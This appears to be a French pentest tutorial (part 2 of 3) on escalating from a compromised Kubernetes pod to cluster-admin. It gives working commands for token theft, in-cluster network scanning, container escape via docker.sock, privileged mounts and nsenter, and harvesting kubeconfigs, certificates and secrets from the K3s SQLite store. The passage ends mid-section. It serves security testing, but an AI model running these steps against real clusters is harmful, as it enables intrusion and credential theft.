De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 2/3

Dans l'article précédent, nous avons couvert la surface d'attaque externe d'un cluster Kubernetes et les vecteurs permettant d'obtenir un premier accès. On se retrouve maintenant dans la situation suivante : un accès arbitraire aux commandes est établi sur un pod. C'est un point de départ contraint : on est confiné dans un conteneur, sans visibilité directe sur le reste du cluster, mais c'est suffisant pour progresser.
L'objectif principal est de pivoter vers l'API Kubernetes et d'y gagner des privilèges. L'API server est le point de contrôle central du cluster : qui peut s'y authentifier avec les bons droits peut lire des secrets, déployer des pods, exec dans des conteneurs, et potentiellement prendre le contrôle total du cluster. Depuis un pod, les vecteurs pour atteindre cette API se répartissent en plusieurs axes : le Service Account monté automatiquement, la reconnaissance des services internes accessibles sur le réseau du cluster, les composants du plan de contrôle joignables depuis l'intérieur, et enfin la sortie du conteneur pour atterrir directement sur le nœud.
Reconnaissance depuis un pod
Avant de tenter quoi que ce soit, il faut cartographier l'environnement. On cherche à répondre à trois questions :
Qui suis-je dans le cluster ? Quel Service Account, quel namespace, quels droits sur l'API ?
Où suis-je sur le réseau ? Quelle IP, quelle plage, quels services sont visibles ?
Que puis-je atteindre ? L'API server, d'autres pods, des services internes avec des credentials ?
Service Account : pivot direct vers l'API Kubernetes
Chaque pod se voit automatiquement monter un Service Account dans /var/run/secrets/kubernetes.io/serviceaccount/. Ce token JWT permet de s'authentifier auprès de l'API server (KubeAPI). C'est le premier vecteur à évaluer : si le SA a des droits étendus, c'est une compromission directe du cluster sans passer par le réseau.
La première chose à faire en arrivant dans un pod est donc de collecter ces informations :
$ hostname
victim-pod
$ cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
default
$ ls /var/run/secrets/kubernetes.io/serviceaccount/
ca.crt namespace token
$ cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6IkRyUzU0MG1qdmJpeW85cUNhUzFxQ3k3REV4bTZFd2liYzhJc2JO
QjRXVUEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlc...
On peut voir ici qu'un jeton Service Account est bien disponible dans le fichier /var/run/secrets/kubernetes.io/serviceaccount/token.
Pour mieux comprendre l'environnement du cluster, les variables d'environnement sont particulièrement intéressantes à récupérer depuis l'intérieur d'un pod. En effet, Kubernetes injecte automatiquement : <NOM_SERVICE>_SERVICE_HOST et <NOM_SERVICE>_SERVICE_PORT pour chaque Service du même namespace qui existait au moment du démarrage du pod.
Cela inclut tous les Services du namespace, pas uniquement ceux liés à l'application : un service Redis, une base de données ou un outil interne déployé dans le même namespace apparaîtront aussi. En revanche, un Service créé après le démarrage du pod n'y figurera pas : pour ceux-là, seul le DNS fonctionne.
$ env | grep -E "_SERVICE_HOST|_SERVICE_PORT" | sort
API_BACKEND_SERVICE_HOST=10.43.223.56
API_BACKEND_SERVICE_PORT=8080
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
POSTGRES_SERVICE_HOST=10.43.92.21
POSTGRES_SERVICE_PORT=5432
REDIS_SERVICE_HOST=10.43.31.122
REDIS_SERVICE_PORT=6379
Trois services sont visibles depuis ce pod : un backend applicatif sur 8080, une base PostgreSQL sur 5432, et un Redis sur 6379. Ces IPs sont des ClusterIP stables, directement joignables depuis n'importe quel pod du cluster. On a déjà une cartographie partielle des services sans faire le moindre scan réseau.
Tester les droits du Service Account
Une fois le token récupéré depuis un pod, on teste ses droits sur l'API Kubernetes. Deux cas selon l'infrastructure :
API server derrière un Load Balancer cloud (EKS, GKE, AKS) : l'API n'est pas joignable depuis l'extérieur, mais elle l'est toujours depuis l'intérieur du cluster à
kubernetes.default.svc. On teste alors directement depuis le pod avec le token monté.API server accessible depuis l'extérieur (on-premise, cloud mal configuré) : on exfiltre le token et on teste depuis la machine attaquante avec
kubectl auth can-i --list
Depuis l'intérieur du pod, /dev/tcp ne suffit pas pour faire des appels HTTPS. On commence par vérifier ce qui est disponible dans le conteneur, et on utilise le premier outil présent :
# Vérifier ce qui est disponible
$ which python3 python node wget curl 2>/dev/null
Si python3 est présent (containers Python, containers applicatifs souvent) :
$ python3 -c "
import ssl, urllib.request
token = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read()
ca = '/var/run/secrets/kubernetes.io/serviceaccount/ca.crt'
ctx = ssl.create_default_context(cafile=ca)
req = urllib.request.Request(
'https://kubernetes.default.svc/api/v1/namespaces',
headers={'Authorization': 'Bearer ' + token})
try:
print(urllib.request.urlopen(req, context=ctx).read().decode()[:200])
except Exception as e:
print(e)
"
Si wget est présent :
\( TOKEN=\)(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
\( wget -qO- --header="Authorization: Bearer \)TOKEN" \
--ca-certificate=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
https://kubernetes.default.svc/api/v1/namespaces
Si rien n'est disponible dans le pod, on exfiltre le token et on teste depuis la machine attaquante avec kubectl :
# Sur la machine attaquante (si l'API est joignable depuis l'extérieur)
$ kubectl auth can-i --list \
--token="eyJhbGciOiJSUzI1NiIsImtpZCI6Ikhy..." \
--server=https://<api-server>:6443 \
--insecure-skip-tls-verify
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
[/api/*] [] [get]
[/apis/*] [] [get]
[/version] [] [get]
...
Ici le Service Account default n'a quasiment aucun droit utile : lecture des endpoints de découverte API, rien de plus. C'est le comportement attendu sur un cluster correctement configuré. En revanche, sur un cluster mal configuré, on peut parfois avoir :
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
Cette ligne *.* avec verbs [*] signifie accès total à toutes les ressources du cluster : c'est une compromission directe. On peut alors lire les secrets, créer des pods, exec dans des conteneurs, modifier les RBAC. L'exploitation du Service Account dans ce cas est couverte dans le prochain article. Si le SA est restreint, on passe à la reconnaissance réseau.
Reconnaissance réseau : quand le Service Account ne suffit pas
Si le Service Account du pod n'a pas de droits utiles sur l'API Kubernetes, l'alternative est de pivoter sur d'autres services internes du cluster : bases de données, outils de monitoring, services applicatifs exposés sur le réseau des pods ou des services.
Un cluster Kubernetes fonctionne avec deux plages d'adresses distinctes : le pod CIDR (une IP par pod, routée via le CNI) et le service CIDR (adresses virtuelles ClusterIP). Les deux sont accessibles depuis l'intérieur du cluster, sauf NetworkPolicy en place.
Identifier sa position réseau
Dans un conteneur minimal, ip et ifconfig ne sont généralement pas disponibles. Tout est lisible dans /proc/net sans aucun outil.
# IP du pod via /proc/net/fib_trie (fonctionne sans iproute2)
\( awk '/32 host/ { print f } { f=\)2 }' /proc/net/fib_trie | sort -u | grep -v '^127\.\|^0\.'
10.0.0.238
# Table de routage brute
$ cat /proc/net/route
Iface Destination Gateway Flags Mask
eth0 00000000 A300000A 0003 00000000 ← default via 10.0.0.163
eth0 A300000A 00000000 0005 FFFFFFFF ← 10.0.0.163/32 (gateway CNI)
Les adresses sont en hexadécimal little-endian : A300000A = 0x0A 0x00 0x00 0xA3 = 10.0.0.163. Cela correspond a l'adresse de la Gateway CILIUM (dans notre cas).
Le token JWT du Service Account contient aussi des informations utiles pour la suite. Son payload est décodable en bash pur avec base64 et révèle le nom du nœud sur lequel le pod s'exécute :
\( TOKEN=\)(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
\( PAYLOAD=\)(echo $TOKEN | cut -d. -f2)
\( MOD=\)((${#PAYLOAD} % 4))
\( [ \)MOD -eq 2 ] && PAYLOAD="${PAYLOAD}=="
\( [ \)MOD -eq 3 ] && PAYLOAD="${PAYLOAD}="
\( echo \)PAYLOAD | base64 -d 2>/dev/null
{"aud":["https://kubernetes.default.svc.cluster.local","k3s"],
"kubernetes.io":{"namespace":"default",
"node":{"name":"k3s-worker-01","uid":"c226c662-..."},
"pod":{"name":"victim-pod","uid":"1053a053-..."},
"serviceaccount":{"name":"default","uid":"bc71d50b-..."}},
"sub":"system:serviceaccount:default:default"}
Le champ node.name (k3s-worker-01) identifie le nœud physique. Ce nom peut ensuite être résolu par DNS pour obtenir l'IP du nœud, utile pour la reconnaissance du plan de contrôle.
À partir de ces informations, on peut reconstituer deux plages cibles pour la suite :
Réseau des pods : la plage s'infère depuis l'IP du pod et la table de routage (
/proc/net/route). Ici10.0.0.0/24.Réseau des services : les ClusterIP n'apparaissent pas dans les routes. On récupère la plage via
KUBERNETES_SERVICE_HOST(10.43.0.1→ plage10.43.0.0/16).
La différence est importante pour les scans : scanner la plage des pods cible des processus en cours d'exécution dans des conteneurs, scanner la plage des services cible des endpoints applicatifs stables exposés via kube-proxy.
Ecoute passive
Avant de lancer des scans actifs, l'écoute du trafic sur l'interface du pod est une première étape silencieuse. Elle permet d'identifier des services qui communiquent directement avec le pod, de détecter des credentials ou tokens en transit sur du HTTP non chiffré, et surtout de repérer des IPs qui n'apparaissent pas dans les variables d'environnement. Ces IPs deviennent ensuite des cibles prioritaires pour les scans approfondis.
# Connexions actives établies depuis ou vers le pod
$ ss -tnp
$ netstat -tnp
# Capturer tout le trafic sur l'interface principale
$ tcpdump -i eth0 -n
# Filtrer le trafic HTTP en clair : credentials, tokens, API calls
$ tcpdump -i eth0 -A -s 0 'tcp port 80 or tcp port 8080'
# Capturer pour analyse offline
$ tcpdump -i eth0 -w /tmp/cap.pcap
L'écoute passive est particulièrement intéressante dans les pods qui intègrent un sidecar Envoy ou Istio : le trafic entre services peut transiter en clair au niveau du proxy local, même si le transport est chiffré entre nœuds. Des secrets ou tokens peuvent ainsi apparaître en clair dans les trames capturées.
Découverte des services (ClusterIP)
Les informations sur le service CIDR sont récupérables depuis les variables d'environnement (KUBERNETES_SERVICE_HOST=10.43.0.1 indique une plage 10.43.0.0/16).
On scanne cette plage avec /dev/tcp puis on résout chaque IP trouvée via getent hosts . Ainsi, CoreDNS retourne le FQDN service.namespace.svc.cluster.local pour toute ClusterIP, ce qui donne le nom du service et son namespace en une seule requête.
# Scan d'un /24 du service CIDR avec reverse DNS
\( for c in \)(seq 1 254); do
timeout 0.3 bash -c "echo > /dev/tcp/10.43.0.$c/443" 2>/dev/null \
&& getent hosts 10.43.0.$c
timeout 0.3 bash -c "echo > /dev/tcp/10.43.0.$c/53" 2>/dev/null \
&& getent hosts 10.43.0.$c
done
10.43.0.1 kubernetes.default.svc.cluster.local
10.43.0.10 kube-dns.kube-system.svc.cluster.local
Le scan séquentiel d'un /24 prend environ 90 secondes. Pour couvrir le /16 complet, on parallélise avec xargs (présent dans tout conteneur avec coreutils) :
# Scan parallèle du /16 complet : 20 /24 en simultané
$ seq 0 255 | xargs -P20 -I{} sh -c '
for c in $(seq 1 254); do
for port in 53 80 443 5432 6379 8080 9090; do
timeout 0.3 bash -c "echo > /dev/tcp/10.43.{}.\({c}/\){port}" 2>/dev/null \
&& echo "10.43.{}.\({c}:\){port}"
done
done
' | while read hit; do
IP=\((echo \)hit | cut -d: -f1)
getent hosts $IP 2>/dev/null
done | sort -u
10.43.0.1 kubernetes.default.svc.cluster.local
10.43.0.10 kube-dns.kube-system.svc.cluster.local
10.43.12.108 metrics-server.kube-system.svc.cluster.local
10.43.31.122 redis.default.svc.cluster.local
10.43.51.247 hubble-ui.kube-system.svc.cluster.local
10.43.65.9 hubble-relay.kube-system.svc.cluster.local
10.43.92.21 postgres.default.svc.cluster.local
10.43.116.209 hubble-peer.kube-system.svc.cluster.local
10.43.194.228 nginx.monitoring.svc.cluster.local
10.43.223.56 api-backend.default.svc.cluster.local
10.43.253.246 ingress-nginx-controller.ingress-nginx.svc.cluster.local
En une seule passe, on découvre les namespaces :
kube-systemmonitoringingress-nginxdefault
Avec l'ensemble des services actifs. Des services comme hubble-ui, metrics-server ou le contrôleur Ingress n'étaient pas visibles dans les variables d'environnement : ils apparaissent ici pour la première fois.
ℹ️ Par défaut, Kubernetes n'applique aucun isolement réseau entre les namespaces : un pod dans default peut contacter un service dans monitoring ou kube-system directement, sauf NetworkPolicy explicite.
Cette technique ne couvre que les services avec une ClusterIP. Les services headless (ClusterIP: None) n'apparaissent pas dans le scan, mais sont résolvables par nom DNS via le brute-force décrit plus bas.
Métriques CoreDNS (port 9153)
Le service kube-dns dans kube-system expose par défaut des métriques Prometheus sur le port 9153 sans authentification (le plugin prometheus :9153 est activé dans la Corefile standard de K3s et kubeadm). Ces métriques indiquent les plugins actifs dans CoreDNS, ce qui révèle la configuration DNS du cluster :
$ exec 3<>/dev/tcp/10.43.0.10/9153
$ echo -e "GET /metrics HTTP/1.0\r\nHost: 10.43.0.10\r\n\r\n" >&3
$ timeout 5 cat <&3 2>/dev/null | grep coredns_plugin_enabled
$ exec 3>&-
coredns_plugin_enabled{name="cache",...} 1
coredns_plugin_enabled{name="forward",...} 1
coredns_plugin_enabled{name="hosts",...} 1
coredns_plugin_enabled{name="kubernetes",...} 1
coredns_plugin_enabled{name="prometheus",...} 1
La présence du plugin hosts est un indicateur : K3s configure CoreDNS avec un plugin hosts qui mappe les noms des nœuds vers leurs IPs. Cela permet de résoudre les noms de nœuds obtenus depuis le JWT directement en IP :
# Le JWT révèle "node.name=k3s-worker-01"
$ getent hosts k3s-worker-01
10.25.11.201 k3s-worker-01
$ getent hosts k3s-worker-02
10.25.11.202 k3s-worker-02
$ getent hosts k3s-master
10.25.11.200 k3s-master
On a maintenant les IPs des nœuds. Le brute-force DNS permet ensuite de découvrir quels services tournent sur ces nœuds.
Brute-force DNS par noms de services
Le scan par IP ne couvre que les services avec une ClusterIP (plage 10.43.0.0/16). Les services headless (ClusterIP: None) n'ont pas d'IP dans cette plage : leur DNS résout directement vers les IPs des pods ou des nœuds, sans intermédiaire virtuel. Le brute-force DNS permet de les découvrir en testant des noms courants contre CoreDNS, qui résout les noms au format <service>.<namespace>.svc.cluster.local :
$ cat /etc/resolv.conf
search default.svc.cluster.local svc.cluster.local cluster.local localdomain
nameserver 10.43.0.10
options ndots:5
# Tester des services courants dans des namespaces courants
$ for svc in grafana prometheus kibana jenkins redis postgres mysql argo-cd vault; do
for ns in default kube-system monitoring logging ci-cd staging production; do
timeout 1 bash -c "echo > /dev/tcp/\(svc.\)ns.svc.cluster.local/80" 2>/dev/null \
&& echo "[+] \(svc.\)ns:80"
done
done
Cette approche est moins exhaustive que le scan par IP + reverse DNS : elle ne trouve que les noms devinés. Mais elle ne nécessite que bash et fonctionne même quand le scan d'IP est trop lent (conteneur avec des limites de processus strictes).
Enumération des routes Ingress
Si le scan révèle un contrôleur Ingress (ingress-nginx-controller.ingress-nginx.svc.cluster.local dans notre cas), celui-ci fait du routage par hostname (header Host). Les routes configurées correspondent aux Ingress resources du cluster et pointent vers des services backend dans des namespaces potentiellement différents.
Ces hostnames ne sont pas dans le DNS interne du cluster : ils n'existent que dans la configuration du contrôleur. Ni les enregistrements PTR, ni les métriques Prometheus (désactivées par défaut sur nginx-ingress v1.9+), ni les certificats TLS (certificat fake par défaut) ne permettent de les énumérer de manière fiable sur une installation standard.
La seule technique fiable est le brute-force par header Host. Le contrôleur retourne 404 pour un hostname inconnu et 200, 301 ou 503 pour un hostname configuré :
$ INGRESS=10.43.253.246
$ for host in app admin grafana prometheus kibana dashboard api jenkins gitlab vault; do
for domain in internal.company.com cluster.local company.io; do
FULL="\({host}.\){domain}"
exec 3<>/dev/tcp/$INGRESS/80
echo -e "GET / HTTP/1.1\r\nHost: $FULL\r\nConnection: close\r\n\r\n" >&3
CODE=$(timeout 1 head -1 <&3 2>/dev/null | cut -d" " -f2)
exec 3>&-
[ "\(CODE" != "404" ] && [ -n "\)CODE" ] && echo "[+] \(FULL -> HTTP \)CODE"
done
done
[+] app.internal.company.com -> HTTP 503
[+] admin.internal.company.com -> HTTP 503
[+] grafana.internal.company.com -> HTTP 200
grafana.internal.company.com répond en HTTP 200 : le service est accessible. app et admin retournent un 503 (le backend est indisponible, mais la route Ingress existe). La difficulté est de deviner le domaine : on s'aide du contexte (noms de namespaces, variables d'environnement, nom de l'organisation dans le certificat CA du cluster).
Découverte des pods
Le réseau des pods (10.0.0.0/24 avec Cilium dans notre cas) est entièrement routable depuis l'intérieur du cluster, sauf NetworkPolicy en place. Scanner ce réseau complète la découverte des services : on y trouve les pods qui ne sont pas exposés par un Service (jobs, pods de debug, sidecars), ainsi que les ports internes non publiés (métriques applicatives, endpoints de debug, profiling). Contrairement aux ClusterIP, les IPs de pods n'ont pas d'enregistrements PTR DNS exploitables :
$ python3 -c "
import socket
from concurrent.futures import ThreadPoolExecutor
def probe(args):
ip, port = args
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(0.3)
r = s.connect_ex((ip, port))
s.close()
return f'{ip}:{port}' if r == 0 else None
except:
return None
ips = [f'10.0.0.{i}' for i in range(1, 255)]
ports = [80, 443, 8080, 8443, 9090, 3000, 5000]
with ThreadPoolExecutor(max_workers=100) as ex:
hits = [r for r in ex.map(probe, [(ip,p) for ip in ips for p in ports]) if r]
for h in hits:
print(f'[+] {h}')
"
# Si nmap est disponible (image dev/debug)
$ nmap -p 80,443,8080,8443,9090,3000,5000 --open 10.0.0.0/24
Découverte des nœuds et du plan de contrôle
Le dernier réseau à explorer est celui des nœuds. Leurs IPs sont connues via les techniques précédentes : services headless de DaemonSets CNI, résolution DNS du nom de nœud obtenu depuis le JWT, ou simplement l'adresse du gateway CNI. Sur les nœuds, deux catégories de cibles : les composants du plan de contrôle (API server, Kubelet, etcd) et les NodePorts (plage 30000-32767), qui exposent des services sur tous les nœuds du cluster indépendamment du réseau des services.
| Composant | Port | Auth par défaut | Notes |
|---|---|---|---|
| API server | 6443 | TLS + RBAC | toujours présent |
| etcd | 2379 | TLS + cert client | absent sur K3s (intégré au processus) |
| Kubelet (API) | 10250 | TLS + auth | présent sur tous les nœuds |
| Kubelet (read-only) | 10255 | Aucune | déprécié, absent par défaut |
| kube-proxy metrics | 10256 | Aucune | absent si CNI eBPF (Cilium, Calico) |
| NodePort services | 30000-32767 | Variable | services exposés sur tous les nœuds |
# Tester les ports du plan de contrôle sur les nœuds connus
$ for node in 10.25.11.200 10.25.11.201 10.25.11.202; do
for port in 2379 6443 10250 10255 10256; do
timeout 1 bash -c "echo > /dev/tcp/\(node/\)port" 2>/dev/null \
&& echo "[+] \(node:\)port ouvert"
done
done
[+] 10.25.11.200:6443 ouvert
[+] 10.25.11.200:10250 ouvert
[+] 10.25.11.201:10250 ouvert
[+] 10.25.11.202:10250 ouvert
Sur ce cluster K3s avec Cilium, seuls 6443 et 10250 répondent. Les ports présents varient selon la distribution : K3s intègre etcd (pas de 2379), Cilium remplace kube-proxy (pas de 10256).
Les NodePorts sont intéressants comme vecteur complémentaire : ce sont des services exposés directement sur les nœuds, souvent pour les accès externes (dashboards, APIs internes). Ils sont accessibles depuis n'importe quel pod sur n'importe quel nœud :
# Scan rapide de la plage NodePort sur un nœud
$ seq 30000 32767 | xargs -P20 -I{} bash -c \
'timeout 0.5 bash -c "echo > /dev/tcp/10.25.11.200/{}" 2>/dev/null && echo "[+] 10.25.11.200:{}"'
Le port 10250 du Kubelet est particulièrement intéressant : si l'authentification anonyme est activée (--anonymous-auth=true), on peut lister les pods du nœud et exécuter des commandes dans les conteneurs en cours d'exécution sans credentials. Ce n'est pas le cas par défaut depuis Kubernetes 1.9, mais certains clusters legacy restent vulnérables.
# Kubelet API (10250) : si l'auth anonymous est activée
# Retourne HTTP 401 si auth requise, JSON si anonyme accepté
$ exec 3<>/dev/tcp/10.25.11.201/10250
$ echo -e "GET /pods HTTP/1.0\r\nHost: 10.25.11.201\r\n\r\n" >&3
$ timeout 3 head -1 <&3 2>/dev/null
$ exec 3>&-
# HTTP/1.0 401 Unauthorized ← auth requise (situation normale)
# HTTP/1.0 200 OK ← anonyme accepté (vulnérable)
Pour etcd, sans etcdctl ni certificat client, l'accès direct est rare sur les clusters modernes. Sur des clusters anciens (kubeadm pré-1.13 sans TLS) ou mal configurés, une requête HTTP simple suffit :
# etcd sans TLS : clusters legacy, certains setups de dev
$ exec 3<>/dev/tcp/10.25.11.200/2379
$ echo -e "GET /v2/keys/?recursive=true HTTP/1.0\r\n\r\n" >&3
$ timeout 3 cat <&3 2>/dev/null | head -3
$ exec 3>&-
L'objectif de toute cette reconnaissance est d'identifier des services vulnérables : une application web exploitable, une base de données sans authentification, un dashboard exposé. Chaque service compromis est un pivot potentiel pour récupérer des credentials, des tokens privilégiés, ou un accès à d'autres namespaces.
Sortir du conteneur
Si aucun service ne donne de prise, ou si on s'est latéralisé sur un autre pod via un service vulnérable, l'étape suivante est de sortir du conteneur pour atterrir sur le nœud et s'élever en privilèges : récupérer des tokens SA plus puissants, des kubeconfigs locaux (/root/.kube/config, /etc/kubernetes/admin.conf), ou accéder directement à etcd si le nœud est le master.
Identifier le runtime et le niveau de privilège
Avant de tenter une évasion, il faut déterminer le runtime de conteneur et le niveau de privilège effectif du pod. Les deux se lisent dans /proc sans aucun outil.
# Noyau Linux (version → vulnérable à Dirty Pipe, Dirty COW ?)
$ uname -r
6.1.0-43-cloud-amd64
# Runtime : le chemin des cgroups révèle containerd ou Docker
$ cat /proc/1/cgroup | head -3
0::/ ← cgroupv2 (containerd/CRI-O)
12:memory:/docker/<id> ← Docker legacy (cgroupv1)
# K3s spécifique : les mounts overlay révèlent le chemin containerd
$ grep overlay /proc/mounts | head -1
overlay / overlay rw,...,lowerdir=/var/lib/rancher/k3s/agent/containerd/...
# Niveau de privilège : CapEff dans /proc/1/status
$ grep CapEff /proc/1/status
CapEff: 00000000a80425fb ← limité (pas CAP_SYS_ADMIN)
CapEff: 0000003fffffffff ← privileged: true (toutes les capabilities)
Si toutes les capabilities sont activées (0000003fffffffff), le conteneur tourne en mode privilégié et l'évasion vers le nœud est triviale. Sinon, on cherche la présence de CAP_SYS_ADMIN, qui suffit pour s'évader via les cgroups.
Misconfigurations de déploiement
Certaines configurations de pod ouvrent une sortie directe vers le nœud sans exploiter de vulnérabilité.
docker.sock monté en volume
Si /var/run/docker.sock est accessible dans le conteneur, on contrôle le démon Docker du nœud. On peut créer un nouveau conteneur privilégié qui monte la racine du système hôte :
$ ls /var/run/docker.sock
/var/run/docker.sock
$ docker run -v /:/host --rm -it alpine chroot /host sh
# id
uid=0(root) gid=0(root)
# cat /etc/kubernetes/admin.conf
Conteneur privilégié
Un pod démarré avec privileged: true a accès à tous les périphériques du nœud. La vérification se fait via les capabilities du processus init du conteneur :
$ cat /proc/1/status | grep CapEff
CapEff: 0000003fffffffff ← toutes les capabilities : conteneur privilégié
# Monter le disque du nœud et chroot dedans
$ fdisk -l
$ mkdir /mnt/host && mount /dev/vda1 /mnt/host
$ chroot /mnt/host bash
# hostname
node-01
hostPath et hostPID
Un pod avec un montage hostPath: / expose l'intégralité du système de fichiers hôte en lecture/écriture. Avec hostPID: true, on accède aux processus du nœud et on peut entrer dans leurs espaces de noms via nsenter :
# hostPath : accès direct au système de fichiers hôte via le point de montage
$ ls /host-root/etc/kubernetes/
admin.conf manifests/ pki/
# hostPID + nsenter : entrer dans l'espace de noms du processus init du nœud
$ nsenter -t 1 -m -u -i -n -p -- bash
# hostname
node-01
CVE sur le runtime et le noyau
Indépendamment des misconfigurations, des vulnérabilités dans le runtime de conteneur ou le noyau Linux permettent de sortir d'un conteneur non privilégié. La version du noyau (uname -r) et du runtime (/proc/1/cgroup) collectées lors de l'identification initiale permettent de déterminer rapidement les CVE applicables.
| CVE | Cible | Condition | Versions affectées | Référence |
|---|---|---|---|---|
| CVE-2022-0492 | cgroup v1 release_agent | CAP_SYS_ADMIN ou privileged | Noyaux avec cgroupv1 | write-up |
| CVE-2019-5736 | runC | exec dans le conteneur |
runC < 1.0-rc6 | PoC |
| CVE-2022-0847 | Noyau (Dirty Pipe) | Aucune (non-privileged) | Noyau 5.8 à 5.16.11 | write-up |
| CVE-2016-5195 | Noyau (Dirty COW) | Aucune (non-privileged) | Noyau < 4.8.3 | write-up |
| CVE-2020-15257 | containerd-shim | hostNetwork: true | containerd < 1.3.9, < 1.4.3 | advisory |
Les CVE noyau (Dirty Pipe, Dirty COW) sont les plus dangereux : ils ne nécessitent aucune capability particulière et fonctionnent depuis n'importe quel conteneur. La version du noyau est vérifiable immédiatement :
$ uname -r
5.10.0-28-cloud-amd64 ← comparer avec les plages affectées ci-dessus
CVE sur les composants Kubernetes (IngressNightmare)
Des CVE ciblent aussi les composants Kubernetes et permettent une compromission du cluster directement depuis un pod. IngressNightmare (CVE-2025-1974) en est l'exemple le plus critique (CVSS 9.8) : une chaîne de vulnérabilités dans le Validating Admission Controller de nginx-ingress permet l'exécution de code sur le pod du contrôleur depuis n'importe quel pod du cluster, sans authentification. Le SA du contrôleur a par défaut accès en lecture a tous les Secrets de tous les namespaces, ce qui donne accès a l'ensemble des credentials du cluster. Versions affectées : nginx-ingress < 1.12.1 et < 1.11.5. Référence : Wiz Research - IngressNightmare
Après l'évasion : exploitation du nœud
Une fois sur le nœud (via misconfiguration ou CVE), l'objectif est de récupérer des credentials permettant d'accéder à l'API Kubernetes avec des droits élevés. Plusieurs sources sont disponibles immédiatement.
Kubeconfig et certificats
# K3s : kubeconfig admin directement utilisable
$ cat /etc/rancher/k3s/k3s.yaml
apiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTi...
server: https://127.0.0.1:6443
name: default
contexts:
- context:
cluster: default
user: default
name: default
current-context: default
kind: Config
users:
- name: default
user:
client-certificate-data: LS0tLS1CRUdJTi...
client-key-data: LS0tLS1CRUdJTi...
# Ce kubeconfig contient un certificat client system:admin → cluster-admin complet
# K3s : certificats TLS du cluster
$ ls /var/lib/rancher/k3s/server/tls/
client-admin.crt client-controller.key serving-kube-apiserver.crt
client-admin.key client-kube-apiserver.crt serving-kube-apiserver.key
client-auth-proxy.crt client-kube-apiserver.key server-ca.crt
client-auth-proxy.key client-scheduler.crt server-ca.key
client-ca.crt client-scheduler.key service.key
client-ca.key client-supervisor.crt ...
# kubeadm : kubeconfig admin
$ cat /etc/kubernetes/admin.conf
# kubeadm : certificats PKI
$ ls /etc/kubernetes/pki/
apiserver-kubelet-client.crt apiserver-kubelet-client.key ca.crt ca.key ...
Tokens de Service Accounts système
Sur le nœud, les tokens des SA des pods en cours d'exécution sont accessibles dans les volumes montés par le Kubelet. Certains SA système ont des droits étendus (CNI, operators, ingress-controller) :
# Lister les tokens SA montés dans les pods du nœud
$ find /var/lib/kubelet/pods/ -name token -path "*/kube-api-access-*" 2>/dev/null
/var/lib/kubelet/pods/6718e893-.../volumes/kubernetes.io~projected/kube-api-access-b4l47/token
/var/lib/kubelet/pods/e8de44cd-.../volumes/kubernetes.io~projected/kube-api-access-tflnq/token
/var/lib/kubelet/pods/1053a053-.../volumes/kubernetes.io~projected/kube-api-access-zz9g8/token
/var/lib/kubelet/pods/24786239-.../volumes/kubernetes.io~projected/kube-api-access-dkr9k/token
Chaque token est un JWT décodable immédiatement pour identifier le namespace, le SA et le pod :
# Décoder le JWT pour identifier le Service Account
\( TOKEN=\)(cat /var/lib/kubelet/pods/6718e893-.../volumes/kubernetes.io~projected/kube-api-access-b4l47/token)
\( echo \)TOKEN | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null
{... "kubernetes.io":{"namespace":"kube-system",
"pod":{"name":"cilium-wqqnp"},
"serviceaccount":{"name":"cilium"}} ...}
On identifie ainsi tous les SA actifs sur le nœud et on teste leurs droits :
# SA cilium : accès en lecture aux pods, services, endpoints, nodes, networkpolicies
\( kubectl auth can-i --list --token="\)TOKEN_CILIUM" --server=https://10.25.11.200:6443
Resources Verbs
endpoints [get list watch]
namespaces [get list watch]
nodes [get list watch]
pods [get list watch]
services [get list watch]
networkpolicies.networking.k8s.io [get list watch]
...
# SA local-path-provisioner : accès CRUD aux pods, PV, PVC, nodes, storageclasses
\( kubectl auth can-i --list --token="\)TOKEN_LPP" --server=https://10.25.11.200:6443
Resources Verbs
endpoints [*]
persistentvolumes [*]
pods [*]
configmaps [get list watch]
nodes [get list watch]
persistentvolumeclaims [get list watch]
pods/log [get list watch]
storageclasses.storage.k8s.io [get list watch]
...
Le SA local-path-provisioner a des droits de création/suppression sur les pods et les PersistentVolumes : un attaquant peut l'utiliser pour déployer un pod privilégié avec un montage hostPath, ce qui donne un accès root sur n'importe quel nœud du cluster.
etcd (si nœud master)
Sur un nœud master, l'accès direct au datastore permet de lire tous les secrets du cluster en clair (sauf chiffrement at-rest activé). K3s utilise par défaut kine (un wrapper SQLite qui émule l'API etcd). La base est accessible en lecture directe :
# K3s : base SQLite kine
$ ls -la /var/lib/rancher/k3s/server/db/
total 14664
drwx------ 3 root root 4096 Feb 26 10:13 .
-rw-r--r-- 1 root root 10338304 Feb 27 13:40 state.db
-rw-r--r-- 1 root root 32768 Feb 27 13:40 state.db-shm
-rw-r--r-- 1 root root 4626792 Feb 27 13:41 state.db-wal
drwx------ 2 root root 4096 Feb 26 10:13 etcd
# Lister les secrets stockés dans la base (nécessite sqlite3)
$ sqlite3 /var/lib/rancher/k3s/server/db/state.db \
"SELECT DISTINCT name FROM kine WHERE name LIKE '/registry/secrets%' ORDER BY name;"
/registry/secrets/ingress-nginx/ingress-nginx-admission
/registry/secrets/kube-system/cilium-ca
/registry/secrets/kube-system/hubble-relay-client-certs
/registry/secrets/kube-system/hubble-server-certs
/registry/secrets/kube-system/k3s-master.node-password.k3s
/registry/secrets/kube-system/k3s-serving
/registry/secrets/kube-system/k3s-worker-01.node-password.k3s
/registry/secrets/kube-system/k3s-worker-02.node-password.k3s
/registry/secrets/kube-system/sh.helm.release.v1.cilium.v1
# Lire la valeur d'un secret spécifique
